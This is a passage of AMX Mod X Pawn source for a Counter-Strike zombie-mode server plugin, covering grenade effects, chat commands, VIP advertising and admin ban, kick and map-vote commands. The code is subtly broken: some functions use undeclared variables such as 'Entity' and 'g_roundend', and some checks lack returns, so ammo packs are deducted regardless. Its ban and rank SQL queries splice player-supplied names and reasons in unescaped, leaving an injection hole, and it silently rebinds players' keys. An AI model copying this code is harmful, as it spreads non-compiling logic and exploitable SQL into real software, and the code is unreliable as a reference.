			log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_assassins_vs_snipers", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_multiple", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
		{
			StartMultiMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
		}
	}
	return 0;
}

public CmdNightVision(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350, 0);
		if (g_bFlashEnabled[iPlayer])
		{
			 set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if ( g_bRoundEnd ) return;
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
	
	static Attacker;
	
	Attacker = pev ( iEntity, pev_owner );
	
	static Victim;
	
	Victim = -1
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( GetHumans (  ) == 1 )
		{
			ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
			
			continue;
		}
		
		EmitSound ( Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)]);
		
		MakeZombie(Attacker, Victim, false, false, false);
		
	}
	engfunc ( EngFunc_RemoveEntity, iEntity );
}

Killing_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 127, 0, 255, 200);
	
    if (g_roundend) return
    
    static Float:originF[3]
    pev(iEntity, pev_origin, originF)
    
    CreateBlastKilling ( originF );
    
    EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
	
    static attacker
    attacker = pev(iEntity, pev_owner)
    if (!is_user_connected(attacker))
    {
        engfunc(EngFunc_RemoveEntity, iEntity)
        return
    }
    
    static victim
    victim = -1
    
    while((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, 240.0)) != 0)
    {
        if(!is_user_alive(victim) || !g_bZombie[victim] || g_iPlayerType[victim] & 1)
            continue
        ExecuteHamB(Ham_Killed, victim, attacker, 0)
    }
    
    engfunc(EngFunc_RemoveEntity, iEntity)
}  

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	EmitSound ( iEntity, CHAN_WEAPON, "ZombieOutstanding/grenade_fire_explode.wav" );
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )
			
		g_iBurningDuration [Victim] += 4;
		else
		g_iBurningDuration [Victim] += 4 * 5;

		if (!task_exists(Victim + 200, 0))
		{
			 set_task(0.2, "TaskBurn", Victim + 200, "", 0, "b", 0);
		}
	}
	engfunc ( EngFunc_RemoveEntity, iEntity );
}

public TaskBurn(iTask)
{
	static  flags;
	static iPlayer;
	iPlayer = iTask + -200;	
	flags = pev ( iPlayer, pev_flags );
	
	if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
	{
		send_smoke(iPlayer);

		remove_task(iTask, 0);
		
		return;
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
	{
		client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
	{
		static Float: velocity [3];
		
		pev ( iPlayer, pev_velocity, velocity );
		
		xs_vec_mul_scalar ( velocity, 1.0, velocity );
		
		set_pev ( iPlayer, pev_velocity, velocity );
	}
	
	static health;
	
	health = pev ( iPlayer, pev_health ); 
	
	if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
		
	set_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
	
	send_flame(iPlayer);

	g_iBurningDuration [iPlayer]--
}

Freeze_Explode(iEntity)
{
	static Float: Origin [3];
	
	pev ( Entity, pev_origin, Origin )
	
	send_beam_cylinder(Entity, 0, 100, 200, 200);
	
	EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_frost_explode.wav" );
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;
		
		send_damage(Victim, 1);
		if (g_iPlayerType[Victim] & 1)
		{
			static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );

			EmitSound (Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav" );
			
			continue;
		}
		
		set_glow(Victim, 19, 13, 0, 100, 200);
		
		EmitSound ( Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav");
		g_bFrozen[Victim] = true;
		ExecuteHamB(Ham_Item_PreFrame, Victim);
		set_frozen(Victim, 1);
		message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
		write_short ( 0 );
		write_short ( 0 );
		write_short ( 0x0004 );
		write_byte ( 0 );
		write_byte ( 100 );
		write_byte ( 200 );
		write_byte ( 100 );
		message_end (  );
		
		if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
		
		set_pev ( Victim, pev_gravity, 999999.9 );
		else
		set_pev ( Victim, pev_gravity, 0.000001 );

		g_bFrozen [Victim] = true;
		
		set_task(3.0, "TaskUnfreeze", Victim, "", 0, "", 0);
	}
	
	engfunc ( EngFunc_RemoveEntity, Entity );
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, 0);
		ExecuteHamB(Ham_Item_PreFrame, i);
		message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, i );
		write_short ( 1<<12 );
		write_short ( 0 );
		write_short ( 0x0000 );
		write_byte ( 0 );
		write_byte ( 50 );
		write_byte ( 200 );
		write_byte ( 100 );
		message_end (  );		
		EmitSound (i, CHAN_AUTO, "ZombieOutstanding/grenade_frost_break.wav");
		send_break_glass(i);
		remove_glow(i);	
	}
	return 0;
}

Explosion_Explode(iEntity)
{
	send_explosion(Entity);
	
	static Attacker;
	
	Attacker = pev ( Entity, pev_owner );
	
	for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
	{
		if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
		
		if ( g_bZombie [Victim] )
		{
			static Float: fDistance, Float: fDamage;
			
			fDistance = entity_range ( Victim, Entity );
			
			if ( fDistance < 300.0 )
			{
				fDamage = 667.0 - fDistance;
				
				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, Victim );
				write_short ( 2048 );
				write_short ( 1024 );
				write_short ( 0x0000 );
				write_byte ( 255 );
				write_byte ( 0 );
				write_byte ( 0 );
				write_byte ( fDistance < 220 ? 220 : 205 );
				message_end (   );
				
				EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" ); 
				
				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), _, Victim );
				write_short ( 1<<12 * 4 );
				write_short ( 1<<12 * 2 ); 
				write_short ( 1<<12 * 10 );
				message_end (  );
				
				if ( float ( get_health ( Victim ) ) - fDamage > 0.0 )
					
				ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
				else
				ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
				
				if ( g_iPlayerType[Victim] & 1 &&  g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
				
				client_print_color(Attacker, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[Victim], fDamage);
				
				if ( fDamage >= 500)
					
				g_iPacks [Attacker] += 2;
				else
				g_iPacks [Attacker] += 1;
			}
		}
	}
	
	engfunc ( EngFunc_RemoveEntity, Entity );
}

public CmdDrop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public CmdJoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		menu_display(iPlayer, g_iGameMenu, 0);
		return 1;
	}
	return 0;
}

public EventStatusValue(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		static cPoints[15];
		static cPacks[15];
		static cHealth[15];
		static iVictim;
		iVictim = read_data(2);
		if (g_bZombie[iVictim] == g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			AddCommas(g_iPacks[iVictim], cPacks, 14);
			AddCommas(g_iPoints[iVictim], cPoints, 14);
			new color1;
			if (g_bZombie[iPlayer])
			{
				color1 = 0;
			}
			else
			{
				color1 = 255;
			}
			new color2;
			if (g_bZombie[iPlayer])
			{
				color2 = 255;
			}
			else
			{
				color2 = 0;
			}
			set_hudmessage(color2, 50, color1, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_armor(iVictim), cPacks, cPoints);
		}
		if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(175, 1, 30, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
		}
	}
	return 0;
}

public ShowMenuClasses(iPlayer)
{
	menu_display(iPlayer, g_iMenuZombieClasses, 0);
	return 0;
}

public Client_SayTeam(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64)
	{
		if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && g_bAdmin[i] && AdminHasFlag(i, 102))
				{
					client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
		}
		else
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && (g_bAdmin[i] || iPlayer != i))
				{
					client_print_color(i, print_team_grey, "^3(PLAYER) %s^1 :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
		}
		return 1;
	}
	return 0;
}

public Client_Say(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 2);
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
	{
		if (!g_bRanked[iPlayer])
		{
			client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are not ranked yet!");
		}
		else
		{
			if (floatsub(fGameTime, g_fLastRankQuery) < 3.0)
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have to wait^3 %0.1f seconds^1 until next command!", g_fLastRankQuery + 3.0 - fGameTime);
			}
			g_fLastRankQuery = fGameTime;
			formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
		}
	}
	else
	{
		if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", "") || equali(cMessage, "gold", 4))
		{
			new Text[1501];
			add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype :  Emporio614 & Bratu.Mihai3<br><br>Monthly Price  |  Pret Lunar :  5 EUR   7 USD   25 RON<br><br>Features  |  Caracteristici<br>* Higher Damage ", 0);
			add(Text, 1500, "+ More Ammo Packs  |  Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn  |  +200 Viata la Spawn<br>* +50 Armor in Spawn  |  +50 Armura la Spawn<br>* Double Jump in Spawn  |  Saritura Dubla din Spawn<br>* Special Laser ", 0);
			add(Text, 1500, "Rays -- Ability to View Through Walls  |  Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model  |  Model Alb de Jucator<br>* VIP Tag in Score Table  |  Tag VIP in Tabla de Scoruri</pre></font></body>", 0);
			show_motd(iPlayer, Text, "Gold Member Info");
		}
		if (equali(cMessage, "/top", 4) || equali(cMessage, "top", ""))
		{
			show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
		}
		if (equali(cMessage, "/bans", 0) || equali(cMessage, "bans", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/bans/index.php", "Server's Bans");
		}
		if (equali(cMessage, "/admins", 0) || equali(cMessage, "admins", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/admins/index.php", "Server's Admins");
		}
		if (equali(cMessage, "/maps", 0) || equali(cMessage, "maps", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/maps/index.php", "Server's Maps");
		}
		if (cMessage[0] == 64 && g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
		{
			static Random;
			static Float:fVertical;
			static i;
			g_iMessagePosition += 1;
			if (g_iMessagePosition > 1)
			{
				g_iMessagePosition = 0;
			}
			switch (g_iMessagePosition)
			{
				case 0:
				{
					fVertical = 0.45;
				}
				case 1:
				{
					fVertical = 0.5;
				}
				case 2:
				{
					fVertical = 0.55;
				}
				case 3:
				{
					fVertical = 0.60;
				}
				default:
				{
				}
			}
			set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i])
				{
					ShowSyncHudMsg(i, g_iLeftSync[g_iMessagePosition], "%s :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
			return 1;
		}
		if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
		{
			static iTimeleft;
			iTimeleft = floatround(GetTimeLeft(), 0);
			if (!get_cvar_num("mp_timelimit"))
			{
				client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [no time limit]");
			}
			else
			{
				if (get_cvar_num("mp_timelimit") == 4096)
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
				}
				if (0 < iTimeleft)
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
				}
				else
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
				}
			}
		}
		if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			if (cMap[0])
			{
				client_print_color(iPlayer, print_team_grey, "^1Next map:^4 %s", cMap);
			}
			else
			{
				client_print_color(iPlayer, print_team_grey, "^1Next map:^4 [not yet voted on]");
			}
		}
		if (equali(cMessage, "lm", 0) || equali(cMessage, "/lm", 0))
		{
			if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Mines are unavailable right now!");
			}
			else
			{
				if (5 > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You need at least^4 5 ammo packs");
				}
				g_iPacks[iPlayer] -= 5;
				g_iTripMines[iPlayer]++;
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Press^3 P^1 to plant it or^3 V^1 to take it!");
				client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
			}
		}
		if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
		{
			static iAmmo;
			static iTarget;
			static cAmmo[5];
			static cTarget[32];
			static cDummy[15];
			parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
			iTarget = GetTarget(iPlayer, cTarget, 0);
			iAmmo = str_to_num(cAmmo);
			if (!iTarget)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Invalid player or matching multiple targets!");
				return 1;
			}
			if (0 >= iAmmo)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 Invalid value of packs to send!");
				return 1;
			}
			if (g_iPacks[iPlayer] < iAmmo)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are trying to send too many packs!");
				return 1;
			}
			if (iTarget == iPlayer)
			{
				client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are trying to send packs to you!");
				return 1;
			}
			AddCommas(iAmmo, cDummy, 14);
			g_iPacks[iTarget] += iAmmo;
			g_iPacks[iPlayer] -= iAmmo;
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 gave^4 %s packs^1 to^3 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
			return 1;
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
		light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			do_screen_fade(i, 0.60, 1.15, 255, 10, 10, 94);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==^n!!!Regeneration: +350 HP Gained!!!");
		}
		i += 1;
	}
	return 0;
}

bool:AdminHasFlag(iPlayer, iFlag)
{
	static i;
	i = 0;
	while (i < 42)
	{
		if (iFlag == g_cAdminFlags[iPlayer][i])
		{
			return true;
		}
		i += 1;
	}
	return false;
}

public EventCurWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iWeapon[iPlayer])
		{
			case 4:
			{
                set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
                set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
			}
			case 29:
			{
				if (!g_iPlayerType[iPlayer])
				{
					set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
				}
				else
				{
					if (g_iPlayerType[iPlayer] & 1)
					{
                        set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
					}
					if (g_iPlayerType[iPlayer] & 2)
					{
                        set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
					}
				}
				set_weaponmodel_null(iPlayer);
			}
			default:
			{
			}
		}
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			jet(iPlayer);
		}
		else
		{
			if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
			}
			if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == 28)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_ak47.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_ak47.mdl");
			}
			if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == 26)
			{
				set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_deagle.mdl");
				set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_deagle.mdl");
			}
		}
	}
	return 0;
}

public CmdBan(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 100))
	{
		if (4 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
			return 1;
		}
		static Float:fGameTime;
		fGameTime = get_gametime();
		if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
		{
			console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
			return 1;
		}
		g_fLastBanQuery = fGameTime;
		static cTimeLength[32];
		static cReason[36];
		static iClient;
		static iTime;
		static cTime[15];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cTime, 6);
		read_argv(3, cReason, 36);
		iTime = str_to_num(cTime);
		if (0 > iTime)
		{
			iTime = 0;
		}
		if (iTime > 175000)
		{
			iTime = 175000;
		}
		if (0 < iTime)
		{
			GetTimeLength(iTime, cTimeLength, 32);
			iTime = iTime * 60;
		}
		iClient = GetTarget(iPlayer, cTarget, 4);
		if (iClient)
		{
			if (0 < iTime)
			{
				formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, iTime, g_cInternetProtocolAddress[iClient], cTimeLength);
				SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
			}
			else
			{
				formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, g_cInternetProtocolAddress[iClient]);
				SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cTime, 0);
			}
			if (0 < iTime)
			{
				AddCommas(iTime / 60, cTime, 14);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], g_cName[iClient], cTime, cReason);
			}
			else
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], g_cName[iClient], cReason);
			}
			server_cmd("kick #%d  You are banned! Check http://csaddicted.com/bans", get_user_userid(iClient));
		}
		return 1;
	}
	return 0;
}

public CmdFreeze(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
	{
		static iTarget;
		static cTarget[33];
		read_argv(1, cTarget, 32);
		iTarget = GetTarget(iPlayer, cTarget, 6);
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
			set_frozen(iTarget, 1);
			set_glow(iTarget, 19, 32, 0, 50, 90);
			g_bFrozen[iTarget] = 1;
			ExecuteHamB(Ham_Item_PreFrame, iTarget);
		}
		return 1;
	}
	return 0;
}

public CmdKick(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 99))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
			return 1;
		}
		static iTarget;
		static cReason[36];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cReason, 36);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
			server_cmd("kick #%d  You are kicked!", get_user_userid(iTarget));
		}
		return 1;
	}
	return 0;
}

public MessageScenario()
{
	if (1 < get_msg_args())
	{
		static cSprite[8];
		get_msg_arg_string(2, cSprite, 8);
		if (equal(cSprite, "hostage", 0))
		{
			return 1;
		}
	}
	return 0;
}

public CmdVoteMap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 103))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[Zombie Outstanding] You can't start the vote right now..");
			return 1;
		}	
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 ADMIN^4 %s^1 initiated a vote with^4 %s^1 and^4 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i])
				{
					menu_display(i, g_iMenu, 0);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public EmptyPanel(iPlayer, iMenu, iItem)
{
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
					g_iVotes[iKeyMinusUnu]++;
				}	
				else
				{
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
					g_iVotes[iKeyMinusUnu]++;
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
